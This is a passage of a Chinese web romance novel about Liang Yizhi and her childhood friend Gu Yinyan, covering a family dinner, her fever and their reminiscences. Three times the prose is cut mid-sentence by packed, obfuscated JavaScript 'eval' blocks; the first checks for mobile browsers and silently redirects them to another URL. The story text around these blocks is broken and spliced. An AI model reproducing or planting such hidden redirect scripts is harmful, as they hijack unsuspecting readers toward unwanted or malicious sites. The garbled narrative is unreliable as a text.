“自己做的,还不让说。”梁爸爸啧啧两声,“你都忘了你以前怎么整顾寅言的?弄得人家没一节课能好好上,练习的时间都被你浪费了。” 梁亦芝无赖地撇撇嘴。 高一时,顾寅言的父亲拖了关系,结识了同住在一片区的钢琴家梁佑德,想让自己的儿子去他那学习钢琴。 毕竟作为显赫家世的继承人,琴棋书画样样精通是必备的修养。 这对梁佑德来说并不是一件麻烦事,他当即答允。此后,顾寅言便常来梁亦芝家练琴,每周一三五,晚上八点过来学习两小时,周末抽一天,来梁家自主练习。 梁爸爸坐着,给桌上的杯子里倒满茶,一边回忆:“我就说这孩子悟性高,又聪明,学东西都很快。怎么过了一个假期,进度就开始落下了?结果都是你在妨碍人家。” 梁亦芝矢口否认:“爸,你怎么能说成是妨碍呢?那叫互帮互助。况且那会儿虽然顾寅言退步了,但我进步了呀。” 梁爸爸反问,“这还说不是你单方面影响寅言?” 梁亦芝说不过,想让顾寅言帮自己说两句。 见他双唇微抿,一脸事不关己的态度,她喊他:“顾寅言,你怎么不说两句?” 顾寅言淡然:“虽然当时确实受到了不少影响,但我还是从梁老师这里学到了很多。” 梁亦芝:“?” 高中时代,堪称是梁亦芝人生轨迹里走得最为艰难的一段。 路线歪歪扭扭,虽成功延伸向了终点,可过程却是极为曲折的波浪线。 梁亦芝的玩心很重。高中时,为了全力冲刺最好的音乐学府,她需要学习和练琴两手抓。兼顾文化课的同时,每天还要保证练琴时长。 这对她来说实在是苦不堪言。练习烦闷、压力过大,因此那段时间,梁亦芝总想着给自己找点乐子。 她长时间都待在家,能见到的人,除了父母,就是顾寅言了。 顾寅言比她大一岁,又高一届。虽然面生,可梁亦芝丝毫无惧,执着的认为顾寅言是一个最好接近的同龄人。 所以,每当梁佑德带顾寅言练琴时,她总故意找借口,进琴房拿点东西,或者旁听一会儿。 后来和顾寅言熟了,胆子便逐渐大起来。 起初任她如何骚扰,顾寅言都是一副古井无波的样子。 后来每当他练琴,梁亦芝就故意弄出点动静,或者给他发信息,邀请他来自己这打游戏。 顾寅言可能是被烦得受不了,也可能确实是弹琴弹累了。有时梁爸爸不在,他才会松口,来陪她一块玩游戏,或者看一场电影。 偶尔一时学习劲上来了,也会请教顾寅言给自己讲两道题目,煞有介事地记两笔笔记。 梁爸爸翻她旧账:“幸好,寅言不是音专生,否则你就毁人一辈子了。” 梁亦芝:“爸,你说的也太重了吧。学生时代大家不都这样,把程度上升到一辈子,那我真成大罪人了。” “再说了,顾寅言本来就厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169953|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么会被我这一点小事就影响。” 似乎是一辈子的时间限定过于遥远,又或者是青春时期的事勾起了那点往事,顾寅言拿着手里的茶杯,晃了神,没有作声。 杯底茶水清浅,过滤之后,不留一丝茶叶滤滓,明镜一般,映着顾寅言清隽深刻的眉眼。 少男少女的时期,那会儿他们年岁尚浅,都不懂事,时常因为些小事拌嘴吵架、闹些不成体统的恶作剧。 长大后离开家庭进入社会,反而学会了互相照拂。不论谁遇到困难,大家都会竭尽所能地帮助。 朋友之间就是这样,它没有亲情那么坚固的纽带,也不如爱情那般刻苦铭心。 惺惺相惜的人可能会在不知不觉间断联,貌合神离的相处反而变得联系紧密。最后留在身边的会剩下几个,又有谁能说得准呢? 一壶茶饮尽,也差不多开饭了。 一顿饭吃得热热闹闹。饭后,梁爸爸拉着顾寅言下棋,大家一边聊天。 梁家一家人都是健谈的性格,从今日的钢琴大赛聊到孩子的教育问题,梁副和梁母都是经验老到的老教师,两人你一言我一语,话题最后又落回到梁亦芝和顾寅言身上。 梁亦芝不想听父母念叨,随便编了个借口,跑回房间收拾行李去了。 估摸着时间差不多,她才重新下楼。 客厅里只剩父母还在聊天,梁爸爸正滔滔不绝着: “现在的小孩都是没过过苦日子的,物质条件这么好,心气又浮躁,没几个能真正沉下心来练习的。我那儿好几个学生,刚来天赋都很高,也是不愿意在这上面多花时间下功夫。不思考旋律情感和演奏表达,还觉得自己已经超出常人了。这样怎么可能学好呢?” 梁亦芝刚下来就听到这些,心底哀叹一声。 竟然还没讲完。 她找准话口,插进一嘴问:“顾寅言呢?” “刚下完棋,他说想出去透透气。”梁爸爸的发言还没结束,见梁亦芝出了门,也没多管,又接着道。 “我觉得在教育上,父母对孩子的引导还是很重要的。必须要有人从旁约束,必要的施加压力是应该的。” “我看也不见得吧,”梁妈妈并未附和丈夫的意见,思索着什么,“寅言的父母从小也不在他身边,他不照样出色,而且各方面都这么突出。” 梁爸爸驳道:“寅言是个例,你就说有几个家庭,能做到像顾家这么舍得下血本投资的?更没有哪对父母会像他们家这么决绝的了。” 他喟叹一声,放低了音量:“自己亲骨肉都能从小放外面养着,换我,我可舍不得让亦芝受这个苦,没必要。” ////梁爸爸瞥一眼桌上的棋盘。棋子以不同的战略,置于棋盘之上。 棋局黑白,是仅有的色彩。 梁妈妈说:“也是苦了这孩子。不过也幸好,顾家的投入算是得到了回报了,有个寅言这么优秀的儿子。” 夜幕降临,室外被黑暗笼罩。 梁亦芝来到别墅外,转头望了望,就见不远处的路灯下,顾寅言闲散地站在那。 街区空无一人,顾寅言形单影只。深色的影子从他站的位置延伸出去,在空旷的地面被拉得老长。 “顾寅言——” 梁亦芝嗓子亮,这一声唤得顾寅言手里动作一顿,循声看过来。 梁亦芝追上前,在他面前站定。 顾寅言若无其事问:“怎么出来了?” 梁亦芝手搭上他胳膊:“因为知道你要干这个。” 被她抓着的那只手臂下方,手里夹着根尚未点燃的烟。 梁亦芝不满地蹙眉,扣着他手举起来:“你的瘾怎么那么大?” “最近想的多。” “心情不好?”梁亦芝问。 “一般。”顾寅言收起了手里冷银色的打火机。 他烟抽得极少。 只有情绪无从抒发的时候,会想找个缺口排遣。 梁亦芝有意想探他的心事:“想什么,跟我说说呗?” 城市的夜晚没有星星。四周阒然,仅剩下路灯和月光相伴。 顾寅言并未作声,迈开步子。 梁亦芝手背在身后,仿着他脚步:“你说的是工作上的事,还是生活上的?是不是你爸妈又给你什么压力了?” 顾寅言双手插在兜里,说:“都不是。” “你就是不想说。”梁亦芝决心要打破砂锅问到底,“那你就说说,是和别人有关的吗?” 身边人思忖一两秒,下巴轻点了下:“是。” “关于谁?” 顾寅言忽然停下脚步,嗓音清冽: “你。” 18. 眼鳞 梁亦芝怔住。 月光下,她抬眼看他,能看见挂在他后方夜幕里的一轮简单的明月。 没有星云作伴,没有锋利的弯钩,只是融在背景的夜色里。晕着光线,朦胧得像雾里看花。 一瞬间,梁亦芝的脑海里闪过这些天来她与顾寅言所有的交往与相处,她在回忆自己是否做了什么,让他想着她,甚至还能让他心烦意乱。 像电影里的焦距切换,月亮渐渐模糊,眼前顾寅言的脸一点点清晰起来。 视线落在他墨色的发梢,再往下是漆黑的瞳孔。 顾寅言的眼睛很亮。即便是在这样黑暗的环境里,也好似在湖水中浸泡过,泛着冰冷的光泽感。 那让梁亦芝想起了某种动物。 很久以前,她曾在书上看过,蛇的眼睛表面覆盖着一层透明的鳞片,它们没有眼睑,所以只能依赖于这层薄薄的屏障,来抵御外界的杂质。 在眼鳞的保护之下,它们的眼睛看起来更加冷冽而清澈。 蛇类的视力一般,对静物不敏感,却对正在活动中的物体轨迹了如指掌。他们能依靠颊窝,感知到周遭的热量,精准定位。 所以当它专注地盯着你的时候,总能让人不寒而栗,精明的视线下,像在预谋着某些计划。 这个奇异的联想让梁亦芝感到没由来的慌乱。 那双眼睛仍聚焦在她的脸上,同时开口:“在想什么?” 梁亦芝语不成句:“想你……呃,我是说我在想我们……我最近有没有做什么错事?” ……她在说什么? 顾寅言别开眼,从锐利的目光下解脱,她心口忽然轻松了半分。 顾寅言云淡风轻地揭过:“我是在想,我要回家了,你确定还要继续跟着我?” 错觉霎时消逝,顾寅言又变回了往日那个模样。 他丢下她自顾自往前走。 梁亦芝松一口气。 怎么净说些让人听不懂的话,害她白紧张了一下。 梁亦芝总觉得,她和顾寅言或许就是太熟了,以至于她对他说一些暧昧的话,或者做出某些不符合两人关系的举动,总会让她生出一种难以言说的感觉。 她又瞧了一眼远处的月亮。 依旧是那般幽色。 前面不远处,就是顾家的房子了。别墅黑着灯,不用看都知道毫无人气。 她紧走两步跟上:“你这就回家了?不跟我爸妈打个招呼?” “不是有你么?” 顾寅言来到门牌前,推开了铁门。 梁亦芝就这么跟着进去,顾寅言也没多说。 开了门,顾寅言打开开关,整间别墅瞬间亮了起来。 客厅装潢富丽堂皇,头顶的水晶吊顶搭配墙上排列有序的壁灯,刺得梁亦芝眼睛疼。 她微微眯起眼:“这就是金钱的光芒吧……” 整个客厅都是老钱风的装修风格,棕色的皮革沙发配着黄铜铆钉,深胡桃木色的实木家具和摆放着的古董艺术品,每一处都彰显着低调奢华。 顾家在梁亦芝的眼里,就像是一座华美气派的博物馆,客厅、庭院、长廊,入目皆是散着金钱气味的物件,怕是小偷来了都不知道从哪下手。 而关于人的东西,却一件都没有。 没有家庭的合照,没有被留在家需要悉心照料的植物,每样物品都一丝不苟地被摆放在远处,一点人味都没有。 不像梁亦芝家,随处可见的照片、价值不高但是亲手制作的装饰物、保留着残局的棋盘和每日都要擦拭的黑白钢琴。 相比之下,这里真是太冷清了。 她问顾寅言:“连保姆阿姨都不在?你爸妈不知道你要回来吗?” “我没说。”顾寅言回答,“反正呆几天就走了。” 他又问:“还是说你想见他们?” 梁亦芝头甩得像拨浪鼓:“见他们得预约吧,我还是改天算了。” 顾寅言的父母给她的压迫感过强,她其实不太喜欢见他们。 想起见到顾寅言父母的第一天,她跟着父亲来顾家做客。 对面的顾寅言父母皆是正襟危坐,一个像校长,一个像教导主任。梁亦芝坐在他们对面,觉得自己像正接受现场考核的学生。 跟她父亲那种平易近人的形象完全相悖。 梁亦芝在顾寅言的家里没坐多久便回去了。 回家的第一晚,她睡得着实踏实舒适,像陷进了专人定制的柔软大床,和她的身体十分契合。 然而这种舒适感并未持续太久。 梁亦芝醒来的时候,觉得嗓子有轻微的不适感,干得发疼。 她坐起身,才发现窗户一夜未关,萧瑟的风从窗缝溜进来,怪不得把她给冻着了。 梁亦芝起身给自己倒了杯水,又走去关窗。 现在刚刚清晨六点多,太阳升起,暖意还没来得及播散下去。屋外伴着清脆的鸟叫,一声接一声。 梁亦芝看了几分钟风景,视线里出现她熟悉的身形。 顾寅言在楼下晨跑。 他穿着一身冲锋衣,衣领立起,配上运动短裤,露出精瘦有力的小腿。 跟腱很长,小腿后侧的形状和肌肉线条极其流畅,是那种天生的健康美感。 他从她家门前经过。 顾寅言跑得快,梁亦芝急忙站在窗口冲他招手,又不想出声喊他,惊动爸妈。 就在她以为顾寅言即将错过时,楼下的男人放慢了速度。 他缓冲两步,回过身来倒退着走,摘下的一边的蓝牙耳机,抬眼看向窗台。 眉眼前的刘海微乱,碎发被细汗打湿,顾寅言看着和清晨的空气一般清爽,浑身还带点揉杂了湿气的凉意。 梁亦芝就比较毛躁了。她刚起床,没梳头发,发量又多,整个头顶蓬着炸开,就像个金毛狮王。 她手忙脚乱地放下杯子,拿起手机,噼里啪啦打几下,给楼下的人示意,做口型叫他看消息。 顾寅言眯了眯眼,摸出手机来看。 【早安顾少爷!】 【顺路的话求帮忙带个煎饼果子,要加鸡蛋和香肠的!】 顾寅言垂着头,没回复她。 梁亦芝手指还在屏幕上戳: 【来的时候别按门铃,发信息最好了,我给你开门!】 【感激不尽!】 接连发出四个感叹号,等她重新抬头,顾寅言早不知什么时候收了手机,继续晨跑去了。 视野里清瘦的一点渐渐缩小,梁亦芝也不知道他究竟会不会给自己带。 她嗓子又干又疼,回床上躺了一会儿也睡不好,干脆洗漱完下了楼。 梁亦芝在厨房里翻找着,想给自己弄点东西垫垫肚子。 刚找到一半,门铃声急促地响起。 梁亦芝心一颤,迅速跑去给人开门。 顾寅言仍是那身清爽的装扮,手里拎着一大袋东西站在门外。 “别按门铃,我爸妈还没起。”梁亦芝拉他进来,看来她后面发的两条消息他没看到。 进门第一眼,她就往他手上瞟,嗅到了那股熟悉的香味,梁亦芝想透过塑料袋确认里面是不是她要的。 顾寅言把东西给她。 “就是这个,”梁亦芝心满意足地接过,“就是这个大叔的味道。” 她语出惊人,被顾寅言奚落一句:“别乱说话行不行?” 梁亦芝不管,把大袋小袋放到客厅的桌上:“我还担心你买错。” “不会买错,”顾寅言说,“找外面最脏的那个摊位就行了。” 梁亦芝无语:“……我要去跟大叔举报你!” 她最喜欢吃的早饭就是小区门口推车的大叔卖的煎饼果子,之前上学时,她尝尝买来,请朋友们一起吃。 后来有一次吃完,梁亦芝腹痛拉肚子,母亲认定就是这个不卫生的摊位造成的,明令禁止她再去买,之后她就很少吃了。 楼上的父母也被门铃声吵醒了,母亲走下楼梯,问:“谁来了?” “妈,是顾寅言,给咱们带了早饭。” 梁亦芝把煎饼藏进其他几袋子里,试图浑水摸鱼。 梁妈妈惊讶:“寅言,这么早啊?” 梁亦芝:“他是机器人,有设定程序的,跟咱们不一样。” 顾寅言斜来一眼。 梁妈妈走上前,袋子里馒头包子豆浆油条,应有尽有。 “这么多好吃的?寅言,太麻烦你了。” 顾寅言:“不麻烦阿姨,主要是为了帮梁亦芝买——” “妈!那个今天天气不错……我跟顾寅言也出去走两圈,运动一下。”梁亦芝拿手肘杵了顾寅言一下,正好打在他肋骨处,他闷哼一声。 梁亦芝带着赃物,拉上顾寅言疾冲冲逃离现场。 来到户外,梁亦芝如释重负,对顾寅言说:“别想陷害我。” 晨间的清气潮湿,风刮来凉飕飕的。梁亦芝穿着睡衣就出门了,拿着煎饼在路上小口吃着。 顾寅言跟在她身旁。 房屋与房屋之间的间隔很宽敞,大路平直,尽头是升起的朝阳。 被太阳照射着,画面好似一下穿越了许多年,眼前穿睡衣的女孩变成了扎着高马尾、身着校服的女高中生。 许多年前,顾寅言也是这样,一步步跟在对方后面半米的距离。看她走在前面,手里捧着煎饼,陪她放慢脚步,赶在进校门前吃完。 圆润的脑后,长而尖的马尾像被风吹过轻颤的枝叶,随步伐轻盈晃荡着,不时落进校服领口,搭在白皙又细挑的后颈上。 发梢抖动,戳着后颈,看起来又痒又难耐。 他很想伸手,替她拨开,好帮她把那片莹白温软的肌肤露出来。 他从前就很想那么做。 顾寅言不紧不慢,两步跟上前面的人,伸出手,贴近她后颈。 将将触及到皮肤时,有风拂过,梁亦芝的头发随风卷起,几缕细丝绕过他修长的指间。 又从指缝溜走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁亦芝把琴收好,放进恒湿柜。 终于能获得休息的时间,她爬上床,脱力一般昏睡过去。 梁亦芝睡得很不舒服,梦里身上阵阵寒冷,又好像发了汗,额角的头发都被打湿,粘在皮肤上。 她被一阵敲门声惊醒。 梁亦芝在被窝里含混一声应答,原来是阿姨做好了晚饭,看她一直没下来吃,特地上来喊她。 “张妈……我这会儿没胃口,晚点再吃。” “那行,我帮你把饭菜温着,你一会儿饿了拿出来就行。”张妈从门外探进个头,“没事的话,我就先回去了。” “好。” 张妈不是住家的保姆,只有每天做饭打扫的时候才会来家里,一般晚饭后就离开了。 梁亦芝从被窝里伸出手,看一眼时间,才七点多钟,她压根没睡多久。 她感觉自己应该是发烧了,身上非常黏腻,无论如何她都想先洗个澡。 热水冲刷过身体,水汽氤氲,让梁亦芝的喉咙和鼻腔都感觉舒服了些。 可屋漏偏逢连夜雨。她刚给自己的身体打上泡沫,水温却渐渐降低。浇到身体上,冷得梁亦芝打颤。 她急忙把淋浴关了,重新调试水温。 然而不管怎么弄,花洒里喷洒出来的仍旧是温度极低的冷水。 梁亦芝被搞得心烦了,拿起放在浴室里的手机,不顾手上还沾着水,往朋友的群聊里吐槽: 【我是什么倒霉命!!】 【感冒洗澡热水还没了,冻死我算了TTTTT】 她连按了三个哭泣的表情包。 梁亦芝冻得慌,因为受凉,头脑愈发昏沉。 她想,先用凉水把身上泡沫简单冲一下,换个浴室再洗一遍吧。她用毛巾沾着冷水,强忍着寒意,把身上未干的泡沫擦去。 梁亦芝在胸前裹了个浴巾,开门走出去。 她脸颊、发髻处都挂着水珠,泛着晶莹而细小的亮光,几缕湿淋淋的头发耷拉下来,水珠蔓延,向下滴去,没入胸口干燥的浴巾处。 梁亦芝全身仅罩了件浴巾,一双直而丰盈的腿露在外,她脚踩了双兔子拖鞋,拿着换洗衣服走了出去。 另一个浴室,离她仅有十米距离。 刚走出几步,就听见楼下传来门铃声。 梁亦芝脚步一顿。 这会儿按理说没人会来做客,估计是刚刚离开的张妈忘了什么东西,又返回来拿。张妈年纪六十多了,记性不太好,之前就经常健忘。 梁亦芝来到玄关处,给人开了门,自顾自回身往屋里去,一边有气无力地说:“张妈,我刚在洗澡,你又忘了什么吗?” 她捂着胸口,和头上湿乎乎的发包,迈着紧促的小步子往屋里去。 身后传来清清浅浅的一道嗓音。 冰冷的眼睛在室内的静物之中,锁定了正在移动的那道纤细的白色身影,他答道: “是我。” 梁亦芝被冷水沐浴过的身体窜上一阵寒,整个人定住。 19. 梦中梦 顾寅言刚进玄关,就看见了个衣着单薄的人影。 眼前的女孩肩膀裸露在外,一片莹白,身上沾着水珠。 顾寅言想起了晨跑时,在小区里遇见的那一片白粉相间的波斯菊,盛放的花头在花丛中鼎立。 柔软的花瓣,纤细的茎根,美丽而又脆弱。 他背过身去,关上门。 梁亦芝满脸错愕,羞得连锁骨、脖颈直至耳后的一整片全红了。 她吞吞吐吐地开口:“你、你你你怎么来了……” 顾寅言说:“你说没有热水,我来看看需不需要帮忙。” “那你也不用……才过了两分钟就来吧?” 梁亦芝瘪着嘴。她知道这件事不是顾寅言的错,但吃亏的是她,嘴上总还是不饶人。 顾寅言问:“那我走了?” “哎——”梁亦芝又叫住他,姿态忸怩,“我洗好了……就我房间那个浴室,你过去看看吧。” 说完,又踩着脚上那两只粉色的小兔子,一手拎着胸前的浴巾,蹬蹬蹬跑走了。 顾寅言等声音消失后,才转回头。 经过刚刚梁亦芝站着的地方时,他感觉脚下踩到了什么东西。 顾寅言弯腰拾起,是梁亦芝的一根发圈。他将那红色缎面的发圈顺势套到了手腕上,慢悠悠地往梁亦芝的房间而去。 推开浴室门。 闷在里面的一阵潮热空气扑面而来,从他鼻腔灌进去。镜子上、玻璃移门上,全都氤氲着刚才这里的人留下的印记。 朦胧的、湿润的、抓不住的。 密闭的空间上方,残留着飘散不去的味道,甜甜的水蒸汽,还有沐浴露的花香味。 顾寅言微仰起脖子。 - 梁亦芝在浴室里重新简单冲了下,擦干身体出来。虽说热水打过让身体回温了些,可她毕竟已经着凉了,还经过了那么一番折腾,头脑愈发眩晕。 思来想去,刚刚误给顾寅言开了门,大概也是生病惹的祸。 穿好睡衣出来,顾寅言正在她的房间门口跟人打电话。 梁亦芝上前问:“怎么了?” 顾寅言挂了才道:“刚刚检查了下,浴室里面的混水阀坏了,冷热水串水,明天上午会有人来修。” 梁亦芝点点头。 竟然这么快就解决了。 她微垂着头,不知在想什么,顾寅言凝视着她开口: “你的脸怎么了?” “什么?” “你的脸,很红。” 他说着,把手背贴到了梁亦芝的脸颊上:“还很热。” 顾寅言的手很干燥,贴到脸颊上的时候冰冰凉凉,像大旱中滴入荒漠的一滴水,转瞬即逝。 她的头发还是湿淋淋的状态,耳边的一咎不小心碰到了顾寅言的指尖。手上湿滑,他两指轻轻一搓: “去把头发吹干。” 他转身要离开。下一秒,手腕又被人抓住。 梁亦芝追问道:“你要走了吗?” 温软的手同刚刚那根发圈一样,缠在他手腕上,脉搏连接着心脏,潜伏于雪白的皮肉下,规律地跳动。 顾寅言并未甩开,耐心解释:“我去给你买药。” 梁亦芝不喜欢落单。每次独处或者爸妈不在家的时候,她总想找人陪着。这种情况在她长大成人、独居之后好了很多。 可现在因为生病,心里那种孤单寂寞的苦楚又被无限放大。 听了顾寅言的话,她这才应一声:“好吧。” 顾寅言回来的时候,家里很安静。 他把买来的退烧药和感冒药给梁亦芝冲好,拿着水壶上了二楼,敲了敲她的房门。 梁亦芝声音沙哑,没什么力气:“直接进来吧。” 顾寅言把药和水端到床头:“起来喝一点。” 梁亦芝支起身,把另一个枕头垫在自己身后倚靠着,就着温水服下。 顾寅言在一旁,扫了一眼整间房间。 跟他十几岁时来过的没什么两样。 梁亦芝是个念旧的人,所以房间里的布局收纳算得上是绝对的极繁主义,什么千奇百怪的都有。 哪怕在他看来是垃圾的东西,她也能保存的很好。 顾寅言就不太擅长这个。 对顾寅言来说,要想把一样物件长久、完好地保存住,只能把它藏起来,留在自己的身边触手可及的地方。 那样才最安全。 他安静地立在一边。 “你在看什么?”梁亦芝手里拿着杯子望着他。 顾寅言敛下目光:“没什么。” “是那个吧?”梁亦芝嗓子还哑着,吞咽的肿痛让她放下了水杯,想缓一缓。 “你还记得吗?那个是你第一天来我们家上课的时候送给我的。” 顾寅言顺着她的视线看过去。 靠墙的玻璃柜上,摆放着一只空灵鼓。虽然很久没拿出来使用过,但表面仍旧光洁干净,像崭新的一样。 第一次来梁家见梁佑德时,出于礼貌,他给梁家每个人都带了一份见面礼。 来之前他去逛乐器店,看见了这只空灵鼓。店家向他介绍,说空灵鼓上手简单,作为音疗乐器之一,音色玲珑纯净,听来有让人心平气和的奇效。 他记得梁家的小女儿也是学音乐的,想着这空灵鼓拿来送女孩子或许不错,闲时拿来敲一敲也能平添趣味,便拿下了。 梁亦芝帮他回忆:“咳咳……当时你还在门外,犹豫了半天不敢进来……” “不是不敢,是不想打扰你练琴。”顾寅言纠正,“而且你还把我当成送快递的了。” 那是一个火烧斜阳的傍晚。 顾寅言第一次来到梁家,遵从父亲的命令,把礼物亲手拿上去送给梁亦芝。 沿着阶梯上楼,来到二楼的琴房门口。 门未关严,从里面泄出柔滑深沉的大提琴声。 女孩坐在窗前,窗外的光线染红了她的裙子,和夹在她两腿之间,那把被夕阳烧至近乎火红色的大提琴。 曲调深沉,窗外的景色、琴弓下的音符和身着长裙的女孩,此刻在叙述着同一个故事。 顾寅言不声不响地在门外站了很久,隔着那一道缝,把整首曲子都听完了。 梁亦芝放下琴和琴弓起身,才发现门外站着一个人。 她心一慌,想了想,赶紧跑到门口,打开门把人拉进了屋。 顾寅言还没反应过来,就见面前的梁亦芝摊开手问自己:“东西呢?” 视线对上的那一刻,梁亦芝因为他那张过分好看的面孔愣了神,呼吸都凝滞几秒,思考何嫚怎么让一个如此显眼的角色来替自己跑腿,太招摇了。 顾寅言思忖几秒,拿起了手里拎着的空灵鼓。 “这是什么?”梁亦芝问,“我的东西呢?” “空灵鼓。”顾寅言只回答了前半个问题,“送给你的见面礼。” “?” “我是今天开始跟梁老师学习的学生,多多关照。” 顾寅言把礼物送到,连多余的寒暄都没有,就离开了。 梁亦芝把最后一口温水喝下,靠在柔软的枕头里说:“当时我很喜欢一个男明星,所以买了很多他的周边,为了不让我爸妈发现,只能送到何嫚家里,让她带给我。” “你知道的,我爸不喜欢我追星,他总觉得喜欢那些粉面小生很不着调,好像我的偶像只能是巴赫和莫扎特之类的。” 顾寅言说:“或许梁老师只是不喜欢你追的那个男的。” 顾寅言当时看到过,她的手机屏保就是那个人。 那个明星的名字他已经不记得了,只记得那个男人烫了头发,有一双让女生沉迷的笑眼,穿一身皮衣皮裤,站着舞台上拿着立麦唱歌。 梁亦芝回怼:“咳咳……不要诋毁我的偶像……” 她咳嗽不停,顾寅言道:“行了,你话太多了,早点休息吧。” 他接过她手里的玻璃杯时,手腕猝不及防又被扣住。 他抬起脸,对上梁亦芝的眼睛。 因为发着烧,她的脸颊闷热潮红,双眼含波,像蒙着一层薄薄的水雾。 她仰起头,眼里盛着浅黄的日光灯,看向顾寅言:“不走不行吗?” 那模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁亦芝上学的时候就很热衷于做笔记,为每门课精心挑选一本合适的本子,再拿五颜六色的荧光笔给笔记的内容做上标注。 梦里,她也正拿着荧光笔在做记号,写完一段,再一抬头。 台上的讲师不知什么时候变成了顾寅言。 黑发打理齐整,他穿着衬衫和西裤,袖子挽至肘弯处,带着一副斯文秀气的眼镜,俨然一名高知分子的模样。 梦里的梁亦芝也是一滞。 她直视着讲台的方向,看到顾寅言那张饱满漂亮的嘴唇一直在动,她却听不到他在说什么。 似乎是因为注意到她在开小差,台上的顾寅言忽然停了下来,在全班学生的注视下,缓步下了台,走到她身边。 梁亦芝微微昂首。 梦里的人脸总是模糊的,但他鼻子以下的部分,在她梦里却格外的清晰。 她看到顾寅言凑近自己的耳边,唇瓣一张一合,嗓音喑哑: “梁亦芝,你总是这么粗心。” 她以为他要提点她学习上的错误,正准备虚心受教,可顾寅言接着说: “你不该随随便便给人开门。” “不该穿成那样,就出现在别人的面前。” 鬓发被掖到而后,他伏在她耳边,“更不该对一个心怀不轨的男人说,让他留在你身边。” 他嗓音喃喃,仿佛真的有一股温热的气息,吐在她耳廓。像蛇吐出信子,弄出悉索的动静,在给她某种警告。 “梁亦芝,你太粗心了。” 窗外清爽的风吹过,茂密的枝叶一阵抖动,落在书页上的阳光跟着漂浮,清新地像一部言情小说。 可顾寅言的声音像是错过了那阵微风,只染上了风走之后的寒凉,让人汗毛直立。 这种诡异的结合让她很矛盾。 她略微不安地想睁开眼,迷蒙的视野,被一个高大黑影遮挡去半数。 处于梦境与现实的临界点之间,不安感作祟,她再次唤了声:“顾寅言。” 像在寻求一种心安的信号。 而他再次很快给出回应。 “我在。” 如愿得到回复,梁亦芝终于满足,再次沉沉地睡去,陷入下一重梦境里。 20. 雪梨汤 再次睁开眼。 室内昏暗,窗帘被人细心地拉上了,沉重的帘幕之间仅开了一道缝,让阳光能够透进来一丝。 梁亦芝坐起身,她这一夜恢复的不错,高烧后的眩晕感过后,神智清爽地像电脑重启。 她下了床,光脚跑到窗户前,把窗帘拉开。 清晨,一室的阳光像是病好后的一份大礼,她接受了这波慷慨的馈赠,在窗前大大地伸了个懒腰,身心都蓄满了能量。 穿上拖鞋下了楼,这会儿已经十点多了,保姆正在准备午餐。 梁亦芝来到厨房问:“张妈,顾寅言呢?你看到他了吗?” “我来的时候,顾少爷刚出去,说是回家一趟呢。” 张妈给她端来刚煮好的雪梨汤:“亦芝,我听顾少爷说你昨晚生病发烧了,不知道嗓子还疼不疼,赶紧喝一点这个。里面还煮了罗汉果和马蹄,润肺滋阴的。” 张妈表情歉疚:“真对不起,昨天我女儿带我孙女回家,我就回去得早了些,没想到你生病了,应该多留下来照顾你的。” 保姆张妈年纪很大了,在梁家也做了很久,梁亦芝一直拿她当长辈,听见张妈这么说,心里难免过意不去: “张妈,您不用客气,我这么大个人了,当然能照顾好自己。” 话音刚落,梁亦芝就回想起了昨晚睡前跟顾寅言那番,关于成年病患的言论。 随之响起的,还有她层层梦境里,那句句潮湿、不可过分解析的对话。 “快把这个喝了吧,顾少爷清早亲自去市场买的雪梨,很甜的。”张妈把汤匙放进瓷碗里,撞出一声响。 梁亦芝回了神,接过:“好,谢谢。” 她的病恢复得很快。 第二天,基本上就只剩下一点嗓子疼的症状了。 梁亦芝在顾寅言面前吹嘘自己身体好,从小到大,什么病痛她都只需要两三天就能好全。 对此,顾寅言只是轻轻地点头,配合地向她发出邀约: “那明天早上六点,你下来跟我一块晨跑。” 梁亦芝警惕地看向他,摆摆手:“不行不行,那样会再受风寒的,我看我还是呆在被子里面比较安全。” “……” 在家度过了平淡无事的几日。 返回玉城的前一天,梁亦芝和顾寅言一块出了门,去吃了他们念书时常去的一家烤串。 两人面对面坐着。 梁亦芝的位置正对店铺大门,大门对面,是一所市重点中学。 也是顾寅言的母校。 梁亦芝拿着签子,嘴里咬着串,望着前方。 梁亦芝说:“我记得你们学校今年的校服好像换了。” “换成红黑色的了。” 梁亦芝摇摇头:“没有你们当年的好看。” 他们上学那会儿,顾寅言的校服是黑白色的,干净又清爽。 那时这条路上每天最靓丽的风景线,一个是身着黑白运动服的中学学生,另一个是仅相隔一条马路,穿着衬衫西裤的音乐附中的学生。 一个运动服、一个白衬衫。 两类风格,或许也是两种不同的人生轨迹。可同样的是,他们身上都充满了蓬勃而出的朝气。 梁亦芝冲对面的人挑挑眉:“你不知道吧?当时你在我们学校,还挺有名气的呢。” 顾寅言神色如常:“这是什么很难知道的事吗?” “……” 猝不及防被他装了一下,梁亦芝抽了抽嘴角,一口咬下串着的最后一块一块羊肉,把签子丢进了签筒里。 吃完饭出来,他们沿街一路慢慢地逛,就当消食了。 正经过一个红绿灯时,梁亦芝刚提步,衣袖被人猛然拉住。 她回过头,是一个穿着附近奶茶店工服的女生。腰间还系着围裙,头发被绑在脑后,用一次性头套包住了,像是匆匆追上来的。 女生伏腰拄着大腿,不停地喘着粗气。 梁亦芝疑惑:“你是……?” 女生拉下口罩,露出自己的脸:“亦芝……是我……你还认得我吗?” 梁亦芝看着那张面熟的脸,立刻喊出了对方的名字:“林柚?” 她既惊喜又意外:“怎么是你?” 